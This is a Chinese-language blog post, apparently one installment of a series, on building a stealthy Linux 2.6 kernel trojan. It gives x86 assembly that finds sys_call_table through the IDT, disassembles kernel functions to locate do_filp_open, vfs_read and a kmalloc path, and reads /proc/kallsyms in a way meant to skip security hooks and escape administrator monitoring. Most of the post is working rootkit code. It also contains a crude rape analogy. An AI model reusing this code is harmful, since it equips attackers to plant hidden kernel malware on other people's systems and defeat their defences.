昨天看了篇文章《Linux on-the-fly kernel patching without LKM 》
作者提供了一种 ring3 进 ring0 的方法,思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。
我们现在用的是溢出,溢出的通用性差,但只需要普通用户权限即可。
作者的方法通用性好,但需要root权限。
第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动(其实呢,没有哪个管理员真的会这样做)。反正无论管理员有没有监控,今天我们的这个方法都是能绕过常规的监控的。
网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它,把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。
我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ,找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令,也就找到了 sys_call_table 。
那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢?
我们先看打开文件。
为了避免管理员在ring3下看到我们的行动,我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了,不需要再找更底层的。我们来看看怎么获得 filp_open。
我们现在只知道 sys_open 函数的地址,是从 sys_call_table 里得知的。
- asmlinkage long sys_open(const char __user *filename, int flags, int mode)
- {
- long ret;
- if (force_o_largefile())
- flags |= O_LARGEFILE;
- ret = do_sys_open(AT_FDCWD, filename, flags, mode);
- /* avoid REGPARM breakage on x86: */
- prevent_tail_call(ret);
- return ret;
- }
用大杀器xde获得 do_sys_open 的地址不是什么难事。
- long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
- {
- char *tmp = getname(filename);
- int fd = PTR_ERR(tmp);
- if (!IS_ERR(tmp)) {
- fd = get_unused_fd();
- if (fd >= 0) {
- struct file *f = do_filp_open(dfd, tmp, flags, mode);
- if (IS_ERR(f)) {
- put_unused_fd(fd);
- fd = PTR_ERR(f);
- } else {
- fsnotify_open(f->f_dentry);
- fd_install(fd, f);
- }
- }
- putname(tmp);
- }
- return fd;
- }
IS_ERR(tmp)展开后就是 cmp $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。
if (fd >= 0) {展开后是 cmp ...; js 。
所以用xde寻找第一个js xxx。然后不用跳转,碰到的第一个call就是call do_filp_open了。
好了,文件打开的问题解决了。我们再来看看读文件。
我们说,在vfs层读取文件,方法从底层到高层有不少,我想了很久,觉得用 file->f_ops->read。这样,我们需要的偏移量就比较少。要知道,在这种手无寸铁的情况下,只知道有限的函数地址的情况下,我们没得选择。好比生活就像强奸一样。
file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话,这个函数是没有hook的。xbfs也是hook到这里而已。
我们首先要找到 f_ops 。
- asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
- {
- struct file *file;
- ssize_t ret = -EBADF;
- int fput_needed;
- file = fget_light(fd, &fput_needed);
- if (file) {
- loff_t pos = file_pos_read(file);
- ret = vfs_read(file, buf, count, &pos);
- file_pos_write(file, pos);
- fput_light(file, fput_needed);
- }
- return ret;
- }
还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。
或者偷懒,直接找第二个 call 也行。这函数反正比较简单,没啥事。
- ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
- {
- ssize_t ret;
- if (!(file->f_mode & FMODE_READ))
- return -EBADF;
- if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
- return -EINVAL;
- if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
- return -EFAULT;
- .....
这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了,反正到出问题的时候再改。
好了。现在我们的偏移都搞到了。可以读指定的文件了。
我们打算把全部符号表读到缓冲区里(大概650k+)。然后用自己的函数找。
但是这么大的空间我们上哪找?我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道,咋的办呢?
这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口,代码里使用seq机制实现的(seq机制在《linux设备驱动程序》里有详细介绍),那它的read 必然指向 seq_read。
- ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
- {
- struct seq_file *m = (struct seq_file *)file->private_data;
- size_t copied = 0;
- loff_t pos;
- size_t n;
- void *p;
- int err = 0;
- mutex_lock(&m->lock);
- /*
- * seq_file->op->..m_start/m_stop/m_next may do special actions
- * or optimisations based on the file->f_version, so we want to
- * pass the file->f_version to those methods.
- *
- * seq_file->version is just copy of f_version, and seq_file
- * methods can treat it simply as file version.
- * It is copied in first and copied out after all operations.
- * It is convenient to have it as part of structure to avoid the
- * need of passing another argument to all the seq_file methods.
- */
- m->version = file->f_version;
- /* grab buffer if we didn't have one */
- if (!m->buf) {
- m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);
- if (!m->buf)
- goto Enomem;
- }
看到没。seq_read 里刚好有一个 kmalloc。吗的,真是一举三得啊。
那好办了,开动xde,找 je xxx。顺着跳转。找到第一个 call 就是了。
但是呢,这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);
size参数,gcc肯定把它当成一个常量来看。如果size参数是常量,那么根据 kmalloc 的定义,是这样展开的:
- static inline void *kmalloc(size_t size, gfp_t flags)
- {
- if (__builtin_constant_p(size)) {
- int i = 0;
- #define CACHE(x) /
- if (size <= x) /
- goto found; /
- else /
- i++;
- #include "kmalloc_sizes.h"
- #undef CACHE
- {
- extern void __you_cannot_kmalloc_that_much(void);
- __you_cannot_kmalloc_that_much();
- }
- found:
- return kmem_cache_alloc((flags & GFP_DMA) ?
- malloc_sizes[i].cs_dmacachep :
- malloc_sizes[i].cs_cachep, flags);
- }
- return __kmalloc(size, flags);
- }
[malloc_sizes.h]
- #if (PAGE_SIZE == 4096)
- CACHE(32)
- #endif
- CACHE(64)
- #if L1_CACHE_BYTES < 64
- CACHE(96)
- #endif
- CACHE(128)
- #if L1_CACHE_BYTES < 128
- CACHE(192)
- #endif
- CACHE(256)
- CACHE(512)
- CACHE(1024)
- CACHE(2048)
- CACHE(4096)
- CACHE(8192)
- CACHE(16384)
- CACHE(32768)
- CACHE(65536)
- CACHE(131072)
- #if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)
- CACHE(262144)
- #endif
- #ifndef CONFIG_MMU
- CACHE(524288)
- CACHE(1048576)
- #ifdef CONFIG_LARGE_ALLOCS
- CACHE(2097152)
- CACHE(4194304)
- CACHE(8388608)
- CACHE(16777216)
- CACHE(33554432)
- #endif /* CONFIG_LARGE_ALLOCS */
- #endif /* CONFIG_MMU */
- /* Size description struct for general caches. */
- struct cache_sizes {
- size_t cs_size;
- kmem_cache_t *cs_cachep;
- kmem_cache_t *cs_dmacachep;
- };
- extern struct cache_sizes malloc_sizes[];
linux的代码真是艺术品啊。能写出这样的代码,真的不是等闲之辈。。
如果size是常量,kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。
对啊,这里要注意的是:内核编译选项中默认的分配算法是 slab,如果内核编译选项没有选择 slab 作为分配算法,那 kmalloc 就又不一样了,我们的代码就不支持了。我也没考虑这种情况。
kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是:
- movl $0x1000,0x4(%esi)
- mov $0xd0,%edx
- mov $0xfffffff4,%edi
- mov 0xc034ceb8,%eax
- call 0xc016bf10
第一行,m->size = PAGE_SIZE。
第二行,movl $GFP_KERNEL, %edx
第三行,设置返回值,我们不管
第四行,就是movl malloc_sizes[i].cs_cachep, %eax
第五行,call kmem_cache_alloc。
这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要 1MB 也不过分。现在的机子内存动辄上G,我们拿走一两m,管理员也不会觉得看a片会变卡一点。
我们只要把malloc_sizes[i]的 i 增加一点就行了。
《Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好,他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的,如果有人要在2.6用那个方法,必须修改一下。2.4的内核的gcc编译选择,还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;
而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。
好了,我们现在达到目的了,可以把/proc/kallsyms 的内容读出来了。
今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂,还有bug。不过这几天写熟了,就好了一点。
贴代码贴代码
读 idt
- // set KERNEL_DS
- movl %esp, %eax
- andl $0xffffe000, %eax
- movl 0x18(%eax), %ebx
- movl %ebx, 0x1c(%esp)
- movl $0xffffffff, 0x18(%eax)
- 1: GET_ADDR(idt_ptr, %ebx)
- sidt (%ebx)
- movl 2(%ebx), %ebp
- #ifdef _KSYM_DEBUG_
- movl %ebp, 4(%esp)
- DPRINT("<3>idt at%lx/n")
- #endif
- movw (0x80 * 8 + 6)(%ebp), %ax
- shl $16, %eax
- movw (0x80 * 8)(%ebp), %ax
- movl %eax, %ebp
- #ifdef _KSYM_DEBUG_
- movl %eax, 4(%esp)
- DPRINT("<3>int 0x80 sr at %lx/n")
- #endif
找 vfs_read
- movl %ebp, %esi
- leal 0x100(%esi), %edi
- 1: GET_ADDR(struct_dism, %edx)
- movl %esi, %eax
- call xde_dism
- testl %eax, %eax
- jz loader_out
- movl %eax, %ebp
- cmpb $0xff, dism_opcode(%edx)
- jz 2f
- addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 2: movl 3(%esi), %ebp
- #ifdef _KSYM_DEBUG_
- movl %ebp, 4(%esp)
- DPRINT("<3>sys_call_table at %lx/n")
- #endif
- movl (5 * 4)(%ebp), %ebx // __NR_open = 5
- SET_VAL32(sys_open, %ebx)
- movl (3 * 4)(%ebp), %ebp // __NR_read = 3
- #ifdef _KSYM_DEBUG_
- GET_VAL32(sys_open, %eax)
- movl %eax, 8(%esp)
- movl %ebp, 4(%esp)
- DPRINT("<3>sys_read at %lx, sys_open at %lx/n")
- #endif
- movl $2, %ebx
- movl %ebp, %esi
- leal 0x100(%esi), %edi
- 1: GET_ADDR(struct_dism, %edx)
- movl %esi, %eax
- call xde_dism
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %ebp
- cmpb $0xe8, dism_opcode(%edx)
- jnz 3f
- decl %ebx
- jz 2f
- 3:
- addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 2: movl 1(%esi), %ebp
- leal 5(%esi), %esi
- addl %esi, %ebp
- #ifdef _KSYM_DEBUG_
- movl %ebp, 4(%esp)
- DPRINT("<3>vfs_read at %lx/n")
- #endif
找 f_op, read 的偏移
- xorb %bl, %bl
- movl %ebp, %esi
- leal 0x100(%esi), %edi
- 1: GET_ADDR(struct_dism, %edx)
- movl %esi, %eax
- call xde_dism
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %ebp
- cmpb $0x8b, dism_opcode(%edx)
- jnz 4f
- testb $1, %bl
- jz 3f
- movzbl 2(%esi), %ecx
- testb $2, %bl
- jnz 5f
- SET_VAL32(file.f_op, %ecx)
- orb $2, %bl
- jmp 3f
- 5: SET_VAL32(file_operations.read, %ecx)
- jmp 2f
- 4: cmpb $0xc3, dism_opcode(%edx)
- jnz 3f
- orb $1, %bl
- 3: addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 2:
- #ifdef _KSYM_DEBUG_
- GET_VAL32(file.f_op, %eax)
- movl %eax, 4(%esp)
- GET_VAL32(file_operations.read, %eax)
- movl %eax, 8(%esp)
- DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")
- #endif
找 do_filp_open
- GET_VAL32(sys_open, %esi)
- leal 0x100(%esi), %edi
- 1: GET_ADDR(struct_dism, %edx)
- movl %esi, %eax
- call xde_dism
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %ebp
- cmpb $0xe8, dism_opcode(%edx)
- jz 3f
- 2: addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 3:
- movl 1(%esi), %ebp
- leal 5(%esi), %esi
- addl %esi, %ebp
- #ifdef _KSYM_DEBUG_
- movl %ebp, 4(%esp)
- DPRINT("<3>do_sys_open at %lx/n")
- #endif
- xorb %bl, %bl
- movl %ebp, %esi
- leal 0x100(%esi), %edi
- 1: GET_ADDR(struct_dism, %edx)
- movl %esi, %eax
- call xde_dism
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %ebp
- cmpb $0xe8, dism_opcode(%edx)
- jnz 4f
- testb $1, %bl
- jz 2f
- jmp 3f
- 4: cmpw $0x7f78, (%esi)
- jnz 2f
- orb $1, %bl
- 2: addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 3:
- movl 1(%esi), %ebp
- leal 5(%esi), %esi
- addl %esi, %ebp
- SET_VAL32(do_filp_open, %ebp)
- #ifdef _KSYM_DEBUG_
- GET_VAL32(do_filp_open, %eax)
- movl %eax, 4(%esp)
- DPRINT("<3>do_filp_open at %lx/n")
- #endif
打开 /proc/kallsyms
- // file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);
- GET_VAL32(do_filp_open, %ebp)
- movl $-100, %eax
- GET_STR("/proc/kallsyms", %edx)
- xorl %ecx, %ecx
- movl $0, (%esp)
- call *%ebp
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %esi
- movl %esi, 0x18(%esp)
- GET_STRUCT_VAL32(%esi, file.f_op, %ebx)
- GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)
- movl %ebp, 0x14(%esp)
- #ifdef _KSYM_DEBUG_
- movl %ebp, 4(%esp)
- DPRINT("<3>file opened, file->f_op->read at %lx/n")
- #endif
找 kmalloc ,分配 ksyms 的内存
- xorb %bl, %bl
- movl %ebp, %esi
- leal 0x100(%esi), %edi
- 1: movl %esi, %eax
- GET_ADDR(struct_dism, %edx)
- call xde_dism
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %ebp
- testb $1, %bl
- jnz 3f
- cmpw $0x840f, (%esi)
- jnz 2f
- orb $1, %bl
- movl 2(%esi), %edx
- leal 6(%esi), %esi
- addl %edx, %esi
- leal 0x100(%esi), %edi
- jmp 1b
- 3: cmpb $0xe8, dism_opcode(%edx)
- jz 4f
- cmpb $0xa1, dism_opcode(%edx)
- jnz 2f
- movl 1(%esi), %edx
- movl %edx, (%esp)
- 2: addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- jmp ksyms_init_out_failed
- 4:
- movl (%esp), %eax
- movl (8 + 7 * 12 + 4)(%eax), %edi
- movl 1(%esi), %ebp
- leal 5(%esi), %esi
- addl %esi, %ebp
- #ifdef _KSYM_DEBUG_
- movl %edi, 8(%esp)
- movl %ebp, 4(%esp)
- DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")
- #endif
- // buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);
- movl %edi, %eax
- movl $0x80d0, %edx
- call *%ebp
- testl %eax, %eax
- jz ksyms_init_out_failed
- movl %eax, %esi
- SET_VAL32(ksyms, %esi)
- #ifdef _KSYM_DEBUG_
- movl %esi, 4(%esp)
- DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")
- #endif
读 /proc/kallsyms 到缓冲区
- #define posl 0x4
- #define posh 0x8
- movl $0, posl(%esp)
- movl $0, posh(%esp)
- // file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);
- 1: movl 0x18(%esp), %eax
- movl 0x14(%esp), %ebp
- leal posl(%esp), %ebx
- movl %ebx, (%esp)
- movl %esi, %edx
- movl $(1024 * 1024), %ecx
- call *%ebp
- testl %eax, %eax
- jz 3f
- addl %eax, %esi
- jmp 1b
- 3:
- #undef posh
- #undef posl
- #ifdef _KSYM_DEBUG_
- movl %esi, 4(%esp)
- DPRINT("<3>read kallsym ok! content: %.10s .../n")
- #endif
重写的 ksym_lookup 代码,解决了以前的 bug:
- // fastcall unsigned long ksym_lookup(char *name, int len)
- // @name: name of the function to find
- // @len: len of the name
- // return: addr of the function
- EXPORT_LABEL(ksym_lookup)
- PUSH_ALL
- subl $0x14, %esp
- movl $0, 0xc(%esp)
- movl %eax, (%esp)
- movl %edx, 4(%esp)
- #ifndef _TEST_
- // saved = get_fs(); set_fs(KERNEL_DS);
- movl %esp, %eax
- andl $0xffffe000, %eax
- movl 0x18(%eax), %ebx
- movl %ebx, 0x10(%esp)
- movl $0xffffffff, 0x18(%eax)
- #endif
- #ifndef _TEST_
- GET_VAL32(ksyms, %esi)
- #else
- movl %ecx, %esi
- #endif
- ksym_lookup_getline:
- movl %esi, %edi
- 1: cmpb $0, (%esi)
- jnz 4f
- movl $-1, 0xc(%esp)
- jmp ksym_lookup_out
- 4: cmpb $'/n', (%esi)
- jz 2f
- incl %esi
- jmp 1b
- 2:
- movl %edi, %edx
- movl $2, %eax
- 1: cmpb $' ', (%edi)
- jnz 2f
- decl %eax
- jz 3f
- 2: incl %edi
- cmpl %esi, %edi
- jl 1b
- movl $-2, 0xc(%esp)
- jmp ksym_lookup_out
- 3:
- leal 1(%edi), %edi
- leal 1(%esi), %ebp
- movl (%esp), %esi
- movl 4(%esp), %ecx
- cld; rep cmpsb
- je 1f
- jmp ksym_lookup_next
- 1:
- cmpb $'_', (%edi)
- je ksym_lookup_next
- cmpb $'0', (%edi)
- jl 3f
- cmpb $'9', (%edi)
- jle ksym_lookup_next
- cmpb $'a', (%edi)
- jl 3f
- cmpb $'z', (%edi)
- jle ksym_lookup_next
- 3:
- xorl %eax, %eax
- movl $9, %esi
- 2: movb (%edx), %bl
- cmpb $' ', %bl
- jz 3f
- cmpb $'a', %bl
- jb 4f
- cmpb $'f', %bl
- jna 6f
- movl $-4, 0xc(%esp)
- jmp ksym_lookup_out
- 6: subb $('a' - 10), %bl
- jmp 5f
- 4: cmpb $'0', %bl
- jnb 7f
- movl $-5, 0xc(%esp)
- jmp ksym_lookup_out
- 7: cmpb $'9', %bl
- jna 8f
- movl $-6, 0xc(%esp)
- jmp ksym_lookup_out
- 8: subb $'0', %bl
- 5: shl $4, %eax
- movb %al, %cl
- andb $0xF0, %cl
- orb %cl, %bl
- movb %bl, %al
- incl %edx
- decl %esi
- jnz 9f
- movl $-7, 0xc(%esp)
- jmp ksym_lookup_out
- 9: jmp 2b
- ksym_lookup_next:
- movl %ebp, %esi
- jmp ksym_lookup_getline
- 3:
- movl %eax, 0xc(%esp)
- ksym_lookup_out:
- #ifndef _TEST_
- movl %esp, %ebx
- andl $0xffffe000, %ebx
- movl 0x10(%esp), %ecx
- movl %ecx, 0x18(%ebx)
- #endif
- movl 0xc(%esp), %eax
- addl $0x14, %esp
- POP_ALL
- ret